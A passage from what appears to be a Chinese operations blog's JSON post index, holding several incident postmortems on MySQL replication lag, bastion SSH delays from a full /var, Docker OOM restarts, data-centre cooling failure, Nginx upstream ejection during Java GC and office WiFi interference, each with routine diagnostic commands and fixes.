扩容数据盘并规划磁盘告警：\n在磁盘使用率达到 70% 时告警，不等到 99% 再发现问题。\n根因分析\r两个问题叠加：\n应用日志通过 hostPath 写入数据盘，且没有配置 logrotate，导致日志文件无限增长，最终耗尽数据盘空间 数据盘写满后的错误日志写到系统盘，导致系统盘也快速被填满，触发 EXT4 journal abort 和 read-only remount，引发 kubelet 日志轮转失败，进一步加速了磁盘占用 预防措施\r所有使用 hostPath 挂载的应用必须配置 logrotate 容器日志优先使用 stdout/stderr + kubelet 自动轮转，不自行挂载日志目录 节点磁盘使用率告警阈值设置为 70%/85%/95% 三档 定期（每周）扫描所有节点上 /var/log/containers/ 和应用日志目录的大小 总结\rK8s 集群中，Pod 驱逐事件往往是表象，真正的根因要深入到节点操作系统层面去排查。这次事件表明，日志管理是 K8s 运维中容易被忽视但影响显著的环节。无论是 kubelet 自带的日志轮转还是应用侧的 logrotate，都需要主动配置和验证，不能假设\u0026quot;默认会管好日志\u0026quot;。\n","date":"2024-03-12T06:02:50Z","permalink":"/posts/d4683312/","title":"K8s 节点磁盘压力致 Pod 批量驱逐的定位"},{"content":"问题背景\r公司报表系统每天上午 9:00 自动生成前一天的日报，数据来源是 MySQL 从库（只读副本）。业务库采用一主两从架构，使用 GTID 异步复制。业务高峰期主库 QPS 约 5000，从库负责分担读负载和报表查询。\n故障现象\r2024 年 3 月 5 日上午，财务部门反馈 3 月 4 日的日报中订单总金额为 238 万元，但业务后台显示的金额是 271 万元，差异达到 12%。进一步比对发现，日报中缺失了大约 3 月 4 日晚上 20:00–22:00 之间的 40 多笔订单数据。\n运维登录从库检查：\n1 2 3 4 5 6 mysql\u0026gt; SHOW SLAVE STATUS\\G *************************** 1. row *************************** Seconds_Behind_Master: 2147 -- 35分钟的延迟！ Slave_SQL_Running_State: System lock Exec_Master_Log_Pos: 342187651 Relay_Log_Space: 3502211072 -- 3.5GB relay log堆积 主从复制延迟 35 分钟，从库落后 9000 多个 binlog 事件未回放。\n排查过程\r第一步：确认延迟趋势\r查看延迟变化趋势，发现并非突发：\n1 $ mysql -e \u0026#34;SELECT * FROM mysql.slave_master_info\\G\u0026#34; | grep -E \u0026#34;Retried|Heartbeat\u0026#34; 抄送 slave delay 监控图表显示，延迟从前一天下午 6:00 开始逐步上升，到次日凌晨 2:00 达到峰值约 50 分钟后缓慢恢复，但到上午 9:00 仍未追平。\n第二步：定位延迟来源\r1 2 mysql\u0026gt; SHOW SLAVE STATUS\\G | grep -i \u0026#34;slave_sql_running_state\u0026#34; Slave_SQL_Running_State: System lock 从库 SQL 线程卡在 System lock 状态，说明有大事务在回放。\n第三步：分析慢回放事务\r查看当前的 relay log 位置对应的 binlog：\n1 2 $ mysqlbinlog --base64-output=decode-rows -v mysql-bin.000287 \\ --start-position=342187651 --stop-position=342200000 | head -50 发现一个巨大的 DELETE 语句：\n1 DELETE FROM order_snapshot_backup WHERE create_time \u0026lt; \u0026#39;2024-01-05 00:00:00\u0026#39; 该语句一次删除了 120 万行数据，在主库上执行了 2 分钟，在从库上回放需要更多时间。\n第四步：确认索引缺失\r1 2 3 4 mysql\u0026gt; SHOW CREATE TABLE order_snapshot_backup\\G -- 关键发现：create_time 列没有索引 mysql\u0026gt; EXPLAIN DELETE FROM order_snapshot_backup WHERE create_time \u0026lt; \u0026#39;2024-01-05 00:00:00\u0026#39;; -- Extra: Using where（全表扫描） create_time 字段没有索引，120 万行的 DELETE 在主库变成全表扫描，回放到从库时 SQL 线程单线程处理，遇到全表扫描就严重阻塞。\n解决方案\r紧急处理： 1 2 -- 在主库上添加索引（从库会自动同步DDL） ALTER TABLE order_snapshot_backup ADD INDEX idx_create_time (create_time); 优化批量删除：将大 DELETE 拆分为小批量： 1 2 3 -- 每次删除 5000 行，间隔 1 秒 DELETE FROM order_snapshot_backup WHERE create_time \u0026lt; \u0026#39;2024-01-05\u0026#39; LIMIT 5000; -- 循环执行直到 affected_rows = 0 调整删除策略：将定时清理任务从上班时间移到凌晨 2:00–4:00，避开报表查询时段。\n优化从库并行复制：升级 MySQL 5.7 到 8.0 并配置 slave_parallel_workers=4，启用基于 WRITESET 的并行复制。\n根因分析\r直接原因：一个没有索引的全表扫描 DELETE 操作在主库执行了 2 分钟，从库 SQL 线程（单线程）在回放时遇到了相同的全表扫描，处理速度跟不上主库的写入速度，延迟逐步累积到 35 分钟。\n深层原因：\n报表定时任务（DELETE 清理）和日报查询在同一个时间窗口竞争 缺少自动删除的索引优化审查机制 从库使用单线程复制（MySQL 5.7 默认），对大事务的回放能力不足 预防措施\r索引审查：所有定时清理 SQL 上线前必须通过 EXPLAIN 审查，确保有合适索引 大事务拆分：任何预计影响行数 \u0026gt;1 万的操作必须拆分为小批量 主从延迟监控：延迟超过 60 秒立即告警，并联动检查慢查询日志 并行复制：升级到 MySQL 8.0 + WRITESET 并行复制 报表查询使用半同步复制：考虑对从库启用 rpl_semi_sync_slave 降低延迟风险 总结\r主从延迟看起来是数据库问题，实际上往往是应用层 SQL 质量问题的反映。一个没有索引、不做拆分的 DELETE 语句就足以拖垮从库复制，进而影响整个报表系统的数据准确性。数据库运维不仅仅是被动监控，更需要主动审视每一个在生产环境运行的 DML 语句的质量。\n","date":"2024-03-05T09:30:00Z","permalink":"/posts/ff0ff270/","title":"MySQL 主从延迟致报表数据差异过大：定位与修复"},{"content":"问题背景\r公司内网部署了一台 JumpServer 堡垒机，所有运维人员通过该堡垒机 SSH 跳转到生产服务器。堡垒机配置了完整的会话审计（录像 + 日志），日均登录次数约 200 次。\n故障现象\r下午 3:10，线上 Redis 集群发生主从切换异常，需要紧急登录服务器切换 VIP。运维人员通过堡垒机 SSH 登录目标服务器时，发现从输入 ssh 命令到出现密码提示，卡顿了 30 秒以上，登录过程极度缓慢。多位运维人员同时遇到相同问题，严重拖慢了故障处理进度。\n登录行为在 putty 的表现：Connecting to 10.x.x.x... 长时间停留在该状态，且无任何超时报错。\n排查过程\r第一步：网络连通性检查\r首先排查是否是网络问题：\n1 2 $ ping 10.x.x.x -c 10 # 延迟正常，\u0026lt;1ms $ telnet 10.x.x.x 22 # 端口秒开，排除TCP握手问题 网络层面一切正常，问题锁定在堡垒机本身或 SSH 服务端。\n第二步：堡垒机资源检查\r1 2 $ top # CPU idle \u0026gt;95%，Memory available \u0026gt;4GB $ iostat -x 1 # 磁盘IO await \u0026lt;5ms，无异常 堡垒机本身资源非常充裕，不是性能瓶颈。\n第三步：SSH 客户端详细调试\r使用 ssh -vvv 查看详细交互过程：\n1 2 3 4 5 6 7 8 $ ssh -vvv user@10.x.x.x ... debug1: Authentication succeeded (publickey). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. # \u0026lt;--- 此处卡顿30秒 ---\u0026gt; Last login: Wed Feb 21 15:28:00 2024 from 10.x.x.y 卡顿发生在认证成功后、进入交互会话之前——此时 SSH 守护进程会做两件事：更新登录日志（wtmp/lastlog）和PAM 会话模块初始化。\n第四步：wtmp 锁定\r1 2 3 4 $ df -h Filesystem Size Used Avail Use% Mounted on ... /dev/sda1 20G 19G 0 100% /var /var 分区 100% 占满。进一步排查：\n1 2 3 $ ls -lhS /var/log/jumpserver/ | head -5 -rw------- 1 jumpserver jumpserver 8.2G Feb 21 15:28 session_replay_20240221.log -rw------- 1 jumpserver jumpserver 5.1G Feb 20 23:59 session_replay_20240220.log 堡垒机的会话审计录像日志堆积了超过 15GB，而 /var/log/wtmp 也受分区满载影响无法写入：\n1 2 3 $ tail -f /var/log/secure | grep wtmp Feb 21 15:12:34 bastion sshd[4823]: pam_lastlog(sshd:session): \\ unable to open /var/log/wtmp: No space left on device pam_lastlog.so 在尝试写入 wtmp 时阻塞，导致 SSH 会话建立被严重拖慢。\n解决方案\r紧急处理： 1 2 3 # 临时关闭 pam_lastlog 模块 sed -i \u0026#39;s/^session.*pam_lastlog.so/#\u0026amp;/\u0026#39; /etc/pam.d/sshd systemctl restart sshd 重启 sshd 后，登录速度恢复正常（\u0026lt;2秒）。\n清理旧审计日志： 1 2 find /var/log/jumpserver/ -name \u0026#34;*.log\u0026#34; -mtime +7 -exec gzip {} \\; find /var/log/jumpserver/ -name \u0026#34;*.log.gz\u0026#34; -mtime +30 -delete 配置日志轮转：创建 /etc/logrotate.d/jumpserver 并配置按天轮转、保留 30 天。 根因分析\r直接原因：JumpServer 的会话审计录像日志未做轮转和清理，占满 /var 分区，导致 pam_lastlog.so 在尝试更新 wtmp 时长时间阻塞。\n深层原因：堡垒机初始部署时未规划日志分区隔离——/var 分区与系统盘共享 20GB 空间，且未配置任何 logrotate 策略。对于每天产生数百 MB 审计录像的堡垒机来说，20GB 很快就会被耗尽。\n预防措施\r磁盘分区隔离：堡垒机单独挂载一块大容量磁盘用于审计日志存储 配置 logrotate：审计日志按天轮转，保留 30 天，超过后自动删除 磁盘容量监控：/var 分区使用率 \u0026gt;80% 时触发告警 pam_lastlog 优化：将 silent 参数添加到 pam_lastlog.so 行，避免因 wtmp 写入失败阻塞登录 定期巡检：每月检查堡垒机的磁盘和日志状态 总结\r堡垒机作为运维入口，其稳定性直接关系到故障应急效率。/var 分区满了看似是小问题，但在 SSH 登录这种场景下会被放大为严重的业务影响。任何时候，关键基础设施的磁盘分区和日志轮转都应该在部署时做好规划，而不是等到故障爆发再救火。\n","date":"2024-02-21T15:30:00Z","permalink":"/posts/765a54f9/","title":"记一次堡垒机 SSH 超时致运维无法紧急操作的排查"},{"content":"问题背景\r公司有一组基于 Spring Boot 构建的订单服务，以 Docker 容器化方式部署在三台物理机上，每个节点运行 4 个实例，由 Nginx 做反向代理负载均衡。该服务是整个订单处理链路的核心上游，日均 QPS 稳定在 3000 左右。\n故障现象\r凌晨 2:00 左右，运维监控平台突然收到大量告警：订单服务 P99 延迟从正常的 200ms 飙升至 30s，5xx 错误率在 2 分钟内从 0% 上升到 45%。登录服务器后发现该服务的容器正处于 CrashLoopBackOff 状态：\n1 2 3 4 $ docker ps -a | grep order-svc f3a2b1c4d5e6 order-svc:v2.1.3 \u0026#34;java -jar app.jar\u0026#34; Exited (137) 3 seconds ago a1b2c3d4e5f6 order-svc:v2.1.3 \u0026#34;java -jar app.jar\u0026#34; Exited (137) 15 seconds ago ... 所有实例均在启动后几十秒内被 Kill，退出码 137（SIGKILL），容器日志在退出前无任何异常堆栈，只有 Spring Boot 的标准启动日志。与此同时，上游的支付服务和库存服务也开始出现连接超时，业务链路出现雪崩式故障。\n排查过程\r第一步：排查容器退出原因\r退出码 137 = 128 + 9（SIGKILL），容器被强制终止。Docker 发送 SIGKILL 最常见的原因是 OOM（Out of Memory）。\n查看系统日志确认：\n1 2 3 $ dmesg -T | grep -i \u0026#34;out of memory\u0026#34; | tail -20 [Thu Jan 15 02:03:12 2024] Memory cgroup out of memory: Kill process 29183 (java) score 1087 [Thu Jan 15 02:04:15 2024] Memory cgroup out of memory: Kill process 30241 (java) score 1112 确认容器是 OOM Killer 杀死的。\n第二步：检查容器资源配置\r1 $ docker inspect order-svc | grep -A5 \u0026#34;HostConfig\u0026#34; | grep -E \u0026#34;Memory|CpuPeriod|CpuQuota\u0026#34; 发现容器的 --memory 限制为 512MB，但 JVM 的 -Xmx 参数设置为 384MB。理论上剩余 128MB 加上 JVM 的堆外内存应该足够，为什么还会 OOM？\n第三步：分析 JVM 内存分布\r使用 jcmd 在容器存活期间抓取 NMT（Native Memory Tracking）报告：\n1 -XX:NativeMemoryTracking=summary NMT 输出显示 Internal（Direct Buffer + JNI 等）内存持续增长，堆外内存从 60MB 涨到 180MB，已经接近容器总内存上限。进一步分析发现是一个改造后的 HTTP 客户端库没有释放 DirectByteBuffer，每次建立新连接都会分配堆外内存，连接关闭后并未归还。\n第四步：确认雪崩根因\r上游调用方使用 Feign + Ribbon 做客户端负载均衡。当所有 order-svc 实例不断重启时，Ribbon 的重试机制在短时间内发出大量重试请求，加上连接池未及时关闭，最终耗尽上游服务的线程池，导致整体链路雪崩。\n解决方案\r紧急修复：将 --memory 上限临时提升到 1GB，并重启所有实例。 修复内存泄漏：定位 HTTP 客户端库中未释放 DirectByteBuffer 的代码，显式调用 ((DirectBuffer) buffer).cleaner().clean()。 添加 JVM 参数：-XX:MaxDirectMemorySize=128m，限制堆外内存上限，防止无限增长。 配置 Hystrix 熔断：在 Feign 客户端面添加熔断降级逻辑，避免上游被拖垮。 Docker healthcheck 优化：增加健康检查，在容器被 Kill 前主动介入。 根因分析\r直接原因：HTTP 客户端库的 DirectByteBuffer 泄漏 → 堆外内存持续增长 → 容器内存超限 → OOM Kill → 容器重启 → 泄漏重新开始 → 恶性循环。\n深层原因：Docker 内存限制（512MB）过于紧凑，对 JVM 堆外内存的预留不足。JVM 的 -Xmx 只约束了堆内存，堆外内存（Metaspace、Direct Buffer、线程栈）完全不受限制，很容易超出容器限制。\n预防措施\r容器内存分配公式：总内存 ≥ Xmx + MaxDirectMemorySize + MetaspaceSize + (线程数 × 栈大小) + 系统预留 100MB 使用 -XX:+UseContainerSupport：让 JVM 感知容器内存限制 压测验证：上线前对每个服务做内存压力测试，确认内存稳定区间 监控堆外内存：接入 Prometheus JMX Exporter，监控堆外内存增长趋势 总结\rJVM 应用容器化需要特别注意内存规划的完整性。-Xmx 只控制堆内存，加上 Metaspace、Direct Buffer、线程栈等堆外开销，实际内存远大于堆内存。推荐使用 -XX:MaxRAMPercentage=75.0 替代硬编码的 -Xmx，让 JVM 自适应容器内存限制。同时，任何直接操作 DirectByteBuffer 的代码都需要严格的内存生命周期管理，否则泄漏问题会在容器环境下被 OOM Killer 无情放大。\n","date":"2024-01-15T02:45:00Z","permalink":"/posts/d454c146/","title":"记一次 Docker 容器反复重启引发的微服务链路雪崩"},{"content":"问题背景\r公司自建数据中心内有 5 个标准机柜，约 30 台物理服务器（含数据库、虚拟化主机、备份存储）。机房制冷由两台 Emerson 精密空调（一主一备）提供，设定温度 22°C，温差 ±2°C。机房环境监控通过 Zabbix 采集温湿度传感器的 SNMP 数据。\n故障现象\r12 月 13 日上午 10:20，运维收到用户反馈：公司内部 OA 系统、ERP 系统、企业邮箱全部响应极度缓慢，页面加载时间从正常的 1-2 秒变成 30-60 秒。监控平台显示全业务 P99 延迟飙升 20-30 倍。\n登录虚拟化平台 vCenter 查看宿主机：\n1 2 3 4 5 Host: esxi-01.corp.local CPU Usage: 35% CPU Ready: 18% (正常应 \u0026lt;5%) Memory Usage: 72% Alarm: Host CPU thermal throttling active CPU 热节流（Thermal Throttling）被触发！ 所有 ESXi 主机都在强制降频运行，原本 3.0GHz 的 CPU 被限制在 1.2GHz，虚拟机中的应用程序性能被严重拖慢。\n排查过程\r第一步：确认机房温度\r跑到机房门口，开门瞬间热浪扑面——室内温度计显示 48°C！\nZabbix 监控的告警时间：\n1 2 3 4 10:20:00 机房温度 = 28°C (超过25°C阈值，未告警？) 10:25:00 机房温度 = 35°C (仍无告警) 10:30:00 机房温度 = 45°C (仍无告警？) 10:35:00 机房温度 = 48°C (告警终于发出) # 延迟了15分钟！ 第二步：检查空调状态\r1 号精密空调——完全停机。面板无任何指示灯。2 号备用空调在运行，但出风口温度仅 28°C（正常应为 16-18°C），实际制冷能力严重不足。\n第三步：分析 1 号空调停机原因\r查看空调控制器日志：\n1 2 2023-12-13 10:15:32 Compressor High Pressure Alarm 2023-12-13 10:15:32 System Shutdown (Safety) 压缩机高压保护——空调因室外机散热受阻导致压缩机出口压力过高，触发安全停机。\n室外温度 -12°C，打开室外机检修面板——风扇叶片被一层厚厚的冰冻住了，完全无法转动。北京冬季夜间温度降到 -15°C，空调室外机底部的排水孔被冰堵住，融化的冷凝水无法排出，在风扇轴承上结冰。\n第四步：为什么 2 号空调制冷不足？\r2 号空调虽然在运行，但制冷剂（R410A）压力只有正常值的 60%。检查发现制冷剂管路接口处有微漏，过去半年逐步泄漏但未补充。低制冷剂量下制冷能力大打折扣——2 号空调虽然亮着灯，实际起不到\u0026quot;备用\u0026quot;的作用。\n第五步：为什么 Zabbix 告警延迟了 15 分钟？\r1 2 3 $ cat /etc/zabbix/zabbix_server.conf | grep -E \u0026#34;StartPollers|Timeout\u0026#34; StartPollers=5 Timeout=30 温度传感器的 SNMP 轮询间隔为 3 分钟。关键是告警触发条件：\n1 Trigger: avg(机房温度, 15m) \u0026gt; 28°C 触发条件使用了 avg(15m)（15 分钟均值）——温度上升期间前几分钟的低值拉低了平均值，直到均值突破 28°C 才触发告警，而实际温度已经到 48°C 了。\n解决方案\r紧急物理降温\r打开机房所有门窗通风，搬入 2 台工业风扇辅助对流 紧急关闭非核心服务器：将测试环境和开发环境的物理机全部关机，降低整体热负载 手动除冰：用热水浇融 1 号空调室外机风扇上的冰层，清理排水孔 冰层清除后，1 号空调恢复正常运行，机房温度在 20 分钟内回落到 28°C。CPU 热节流自动解除，业务 P99 延迟逐步恢复。\n后续整改\r1 号空调加装低温套件：包含加热带（防止排水孔结冰）和变速风扇控制器 2 号空调补充制冷剂：查找泄漏点并修复，补充制冷剂至标称压力 Zabbix 告警规则修正： 1 2 3 4 5 # 改为：最近一次温度值（非均值）超过28°C立即告警 Trigger: last(机房温度) \u0026gt; 28°C # 增加温度变化率告警 Trigger: (last(机房温度) - last(机房温度, 60s)) \u0026gt; 3 根因分析\r直接原因：精密空调室外机排水孔在冬季严寒天气下结冰堵塞，风扇被冻住 → 压缩机高压报警停机 → 室内温度快速上升 → 服务器自动降频保护。\n深层原因：\n精密空调缺少低温环境适配（未安装低温套件） 备用空调制冷剂泄漏，关键时刻无法满负荷运行 Zabbix 温度告警使用 15 分钟均值，延迟了紧急告警 机房缺乏温度传感器的多点冗余部署 预防措施\r精密空调低温套件：冬季前安装加热带、变速风扇等低温适配组件 备机制冷能力保障：每季度检测备机制冷剂压力，确保备机随时可用 实时温度告警：告警规则改用 last() 实时值 + 变化率双触发 多点温感冗余：机柜顶部、中部、底部各部署温度传感器 冬季巡检 SOP：11 月-3 月每月检查室外机排水孔和风扇轴承结冰情况 应急演练：机房温度异常应急预案（工业风扇、开门通风、关非核心设备） 总结\r机房空调故障是运维能遇到的最\u0026quot;低技术含量\u0026quot;但又最致命的事故之一——不需要什么高深的网络协议或分布式系统知识，它就是物理世界的一个设备坏了。但它的破坏力是全局性的：一台空调停机，30 台服务器的 CPU 全部被迫降频，所有业务线的性能同时崩盘。在运维的世界里，对物理基础设施的监控不能有任何侥幸——温度告警的延迟、备机制冷剂的泄漏，都可以被\u0026quot;看起来正常\u0026quot;的表象掩盖，直到故障真正爆发。\n","date":"2023-12-13T10:35:00Z","permalink":"/posts/472b6e86/","title":"机房精密空调故障，服务器集群怎么就过热降频了？"},{"content":"问题背景\r公司 API Gateway 层使用 Nginx 作为反向代理，后端 10 台 Tomcat 服务器（Java 应用）组成 upstream 池，配置了被动健康检查（max_fails + fail_timeout）。正常情况下 10 台后端均匀承担约 2000 QPS 的流量。\n故障现象\r晚上 8:00，运维监控突然告警：API Gateway 返回大量 502 Bad Gateway。登录 Nginx 服务器查看后端状态：\n1 2 3 4 5 6 7 8 $ curl http://127.0.0.1/nginx_status upstream backend { server 10.0.1.1:8080 weight=1 max_fails=2 fail_timeout=30s; server 10.0.1.2:8080 weight=1 max_fails=2 fail_timeout=30s down; server 10.0.1.3:8080 weight=1 max_fails=2 fail_timeout=30s down; server 10.0.1.4:8080 weight=1 max_fails=2 fail_timeout=30s down; ... 全部10台后端显示 down ... } 10 台后端服务器全部被 Nginx 标记为 down——流量没有地方去，全部返回 502。但登录后端服务器检查，Tomcat 进程运行正常，直接访问 10.0.1.x:8080/health 返回 200 OK！\n排查过程\r第一步：检查 Nginx 错误日志\r1 2 3 4 5 6 7 $ tail -100 /var/log/nginx/error.log 2023/11/22 20:08:12 [error] upstream timed out (110: Connection timed out) while connecting to upstream, client: 172.16.100.50, server: api.company.com, request: \u0026#34;GET /v1/orders HTTP/1.1\u0026#34;, upstream: \u0026#34;http://10.0.1.1:8080/v1/orders\u0026#34; 2023/11/22 20:08:13 [error] upstream timed out (110: Connection timed out) while connecting to upstream ... 所有被标记 down 的服务器都出现了 upstream timed out。\n第二步：检查后端 Tomcat 日志\r1 2 $ grep \u0026#34;Full GC\u0026#34; /opt/tomcat/logs/catalina.out | grep \u0026#34;20:08\u0026#34; 2023-11-22 20:08:11 [Full GC (Allocation Failure) 2348M-\u0026gt;1890M(4096M), 2.45 secs] 20:08:11，Tomcat 触发了一次 Full GC，耗时 2.45 秒。Full GC 期间所有应用线程被暂停（Stop-The-World），Tomcat 无法处理任何请求——包括 Nginx 的健康检查请求。\n第三步：分析 Nginx 超时配置\rNginx 的 proxy 超时配置：\n1 2 proxy_connect_timeout 2s; # 建立连接超时 2 秒 proxy_read_timeout 30s; # 读取响应超时 30 秒 proxy_connect_timeout 2s 控制了建立 TCP 连接的超时时间。Full GC 期间 Tomcat 虽然 accept 了 TCP 连接（内核态完成三次握手），但应用层无法处理——所以 proxy_connect_timeout 没有触发超时。\n但 Nginx 在建立连接后发送 HTTP 请求，等待 Tomcat 返回响应——这走的是 proxy_read_timeout。在 Full GC 结束前，Tomcat 不会返回任何响应。30 秒后 Nginx 判定该请求超时，计为一次 failure。\nNginx 配置中 max_fails=2 意味着 2 次超时就标记 downstream。10 台 Tomcat 因为部署一致，几乎在同一时间触发 Full GC（相同的内存压力模式），于是短时间内全部被标记为 down。\n第四步：验证时间线\r1 2 3 4 5 20:08:10 流量高峰，所有Tomcat堆内存接近上限 20:08:11 第1轮：4台Tomcat触发Full GC（2.5秒），期间2次请求超时→被标记down 20:08:12 流量转移到剩余6台Tomcat，内存压力骤增 20:08:13 第2轮：剩余6台Tomcat触发Full GC（3秒），请求超时→被标记down 20:08:15 全部10台后端down，502风暴开始 健康检查的 fail_timeout=30s 后节点被重新加入 upstream 池，但流量涌回又导致新的 Full GC，节点再次被标记 down——形成恶性循环。\n解决方案\r紧急恢复\r1 2 3 4 5 6 7 # 1. 立即重启所有Tomcat（释放堆内存） for host in 10.0.1.{1..10}; do ssh $host \u0026#34;systemctl restart tomcat\u0026#34; done # 2. 重载Nginx（清除down标记） nginx -s reload 修复配置\r1 2 3 4 5 6 7 8 9 10 11 12 13 upstream backend { server 10.0.1.1:8080 max_fails=3 fail_timeout=10s; server 10.0.1.2:8080 max_fails=3 fail_timeout=10s; ... } server { location / { proxy_connect_timeout 3s; proxy_read_timeout 10s; # 从30s降到10s proxy_next_upstream error timeout http_502 http_503; } } 关键改动：\nfail_timeout 从 30s 降到 10s——节点恢复更快 proxy_read_timeout 从 30s 降到 10s——不会因 GC 等待太久 应用层优化\r调大 Tomcat 堆内存：从 4GB 扩大到 8GB 优化 GC 策略：从 ParallelGC 切换到 G1GC，减少 Full GC 频率和时延 添加主动健康检查端点：/health 接口增加内存压力检测，堆使用 \u0026gt;90% 返回 503 让 Nginx 主动摘除 根因分析\r直接原因：Java Full GC 的 STW 暂停（2.5 秒）导致 Tomcat 无法处理请求，Nginx 在 proxy_read_timeout（30 秒）后判定超时，累积触发 max_fails=2 将节点标记 down。所有节点因相同的内存模式同时触发 Full GC，被批量剔除。\n深层原因：健康检查配置没有区分\u0026quot;节点过载\u0026quot;和\u0026quot;节点宕机\u0026quot;——Full GC 期间节点还在但暂时无法响应，应该给予缓冲而非直接剔除。\n预防措施\r主动健康检查：使用 Nginx Plus 或第三方模块（nginx_upstream_check）做主动健康检查，区分 503（过载）和 超时（宕机） 渐进式摘除：节点因超时被标记 down 后，先降权而非直接剔除 JVM GC 监控：监控 Full GC 频率和耗时，Full GC \u0026gt;1 秒 / 频率 \u0026gt;1次/小时 告警 后端容错设计：至少保留 50% 的健康节点，即使全触发 GC 也不会全 down Nginx upstream 冗余：server 块配置 backup 节点作为最后兜底 总结\rNginx 的健康检查本质上是\u0026quot;事后惩罚\u0026quot;——请求已经超时了，它才标记节点 down。当所有后端同时\u0026quot;卡顿\u0026quot;（GC、死锁、资源耗尽）时，健康检查不仅帮不上忙，还会把最后活着的节点也干掉。真正靠谱的做法是在应用层做主动降级（堆内存高了返回 503 主动退出），让 Nginx 在节点真正不可用之前就把流量导走，而非被动等到超时。\n","date":"2023-11-22T20:10:00Z","permalink":"/posts/7476618a/","title":"Nginx 健康检查误判，服务节点怎么被批量剔除？"},{"content":"问题背景\r近期（大约持续了两周）公司办公区的员工陆续通过工单反馈，说 WiFi 连接很不稳定，主要表现是：\n视频会议（腾讯会议、Teams）经常卡顿、掉线 手机和笔记本有时会突然断开 WiFi，重连后几分钟又断 部分区域信号格数显示满格，但实际网速极慢 受影响的主要是 3 楼办公区（约 80 名员工），4 楼相对较少。公司无线网络使用 Aruba 无线控制器（AC）统一管理约 30 台 AP，全部部署在室内天花板。\n故障现象\r3 楼员工 WiFi 连接不稳定，视频会议频繁卡顿 Windows 任务栏 WiFi 图标有时显示感叹号（受限连接） 手机 WiFi 速度测试：下载约 1-3 Mbps（预期应有 50+ Mbps） 但有线接入的员工完全不受影响，排除上联网络问题 排查过程\r第一步：确认问题范围\r先用有线和无线各自进行网速测试，有线稳定在 100Mbps 左右，无线只有 2-5Mbps，明确是无线侧的问题。\n再确认问题时间规律：工单记录显示，问题主要出现在 9:30-11:30 和 14:00-16:00，正好是员工视频会议的密集时段，早晚时段没有明显问题。\n第二步：通过 Aruba AC 查看无线环境\r登录 Aruba 无线控制器管理界面，查看 3 楼各 AP 的关联情况和流量统计：\n发现 1：AP 3F-01 和 AP 3F-02 关联的设备数量异常多\n正常每台 AP 关联设备 20-30 个，而 3F-01 和 3F-02 分别关联了 65 和 58 个设备，远超设计容量。\n发现 2：2.4GHz 频段使用率极高\n进入 RF（无线射频）监控页面，查看频谱使用情况：\n2.4GHz 频段：信道 6 的利用率达到 87% 5GHz 频段：各信道利用率均在 30% 以下 大量设备（尤其是老旧手机和打印机）扎堆连接 2.4GHz，而 5GHz 频段相对空闲。\n第三步：扫描无线环境，寻找干扰源\r在 Aruba AC 上启用 AM（Air Monitor）模式，对 3 楼进行无线环境扫描，查看附近 AP 的信道分布情况：\n扫描结果发现，在信道 6 上，除了我们自己部署的 AP 外，还检测到了 4 个非授权的 SSID：\n1 2 3 4 SSID: TP-LINK_XXXX 信道: 6 RSSI: -65dBm 厂商: TP-Link SSID: TP-LINK_YYYY 信道: 6 RSSI: -72dBm 厂商: TP-Link SSID: ChinaNet-ZZZZ 信道: 6 RSSI: -68dBm 厂商: Huawei SSID: Mi_AABB 信道: 1 RSSI: -71dBm 厂商: Xiaomi 同一频段上存在多个非授权 AP（来自员工自带的路由器或隔壁邻居的家用 WiFi），与我们的 AP 形成同频干扰。\n第四步：现场定位非法 AP\r通过 Aruba 的 RSSI 强度信息和楼层平面图，大致定位了信号强度最强的两台非授权 AP 来源：\nTP-LINK_XXXX（RSSI -65dBm）：信号来自 3 楼东侧某个角落 ChinaNet-ZZZZ（RSSI -68dBm）：信号来自楼下或相邻建筑 到 3 楼东侧排查，在一个储物间里发现了一台员工私自安装的 TP-Link 路由器，他是因为自己工位信号不好，就从家里带了一个路由器来增强信号，接在了墙上的网络接口上，结果反而加剧了干扰。\n第五步：分析同频干扰原理\r2.4GHz 频段总带宽有限，常用的不重叠信道只有 3 个：1、6、11。当多个 AP 同时使用信道 6 时，它们的信号会相互干扰，设备需要等待信道空闲才能发送数据（CSMA/CA 机制），信道越拥挤，等待时间越长，表现为网速慢、延迟高。\n我们的 3F-01、3F-02 都在信道 6，加上 4 个外部 AP 也在信道 6，7 个发射源共享一个 20MHz 宽的信道，效率极低。\n解决方案\r第一步：移除非法 AP\r拔除储物间里员工私装的 TP-Link 路由器，并通知该员工不得私自接入未授权网络设备。告知全体员工相关规定。\n第二步：重新规划 2.4GHz 信道分配\r重新梳理 3 楼所有 AP 的信道规划：\n将同一楼层相邻 AP 分配到不同的不重叠信道（1、6、11 错开分配） 减少信道 6 上的 AP 数量 1 2 3 4 5 AP 3F-01 → 信道 1 AP 3F-02 → 信道 11 AP 3F-03 → 信道 6 AP 3F-04 → 信道 1 ...（相邻不同信道，避免重叠） 第三步：开启频段引导（Band Steering）\r在 Aruba AC 上启用 Band Steering 功能，将支持 5GHz 的设备自动引导到 5GHz 频段：\n在 Aruba 管理界面：Configuration → SSID → Advanced → Band Steering → Enable\nBand Steering 工作原理：对于同时支持 2.4GHz 和 5GHz 的设备，AP 在 2.4GHz 上延迟响应 Probe Request，促使设备转向 5GHz 关联。\n第四步：调整 AP 发射功率\r部分 AP 发射功率设置过高，导致信号覆盖区域重叠，加剧同频干扰。将相邻 AP 的发射功率适当降低：\n在 Aruba RF Plan 中，将 3 楼各 AP 的 2.4GHz 最大发射功率从 23dBm 调整至 17dBm，覆盖半径缩小，减少同频重叠区域。\n第五步：效果验证\r调整完成后，次日早上进行测试：\n3 楼 AP 2.4GHz 信道 6 利用率从 87% 下降到 41% 各 AP 关联设备数量均匀分布，3F-01 从 65 台降至 28 台 无线下载速度测试：从 2-5Mbps 提升至 45-80Mbps 视频会议测试：连续 1 小时无断线，质量正常 根因分析\r根本原因有两个：\n同频干扰：3 楼 2.4GHz 频段信道 6 上存在大量 AP（包括外部非授权 AP），信道竞争激烈，设备需长时间等待信道空闲，导致网速下降。\n负载不均衡：2.4GHz 频段承载了过多设备，而 5GHz 相对空闲，缺少频段引导机制将设备均衡分流。\n预防措施\r1. 定期无线环境扫描\n每月通过 Aruba AM 或 Wi-Fi Analyzer 扫描一次，及时发现新增的非法 AP 和信道干扰。\n2. 非法 AP 检测与告警\n开启 Aruba Wireless Intrusion Protection（WIP）功能，自动检测并告警非授权设备接入。\n3. 员工教育\n通过邮件或公告明确：不得在公司网络上自行接入个人路由器、交换机等设备，违者按公司 IT 使用规范处理。\n4. 定期审查 AP 规划\n公司扩建或改建后，应重新审查 AP 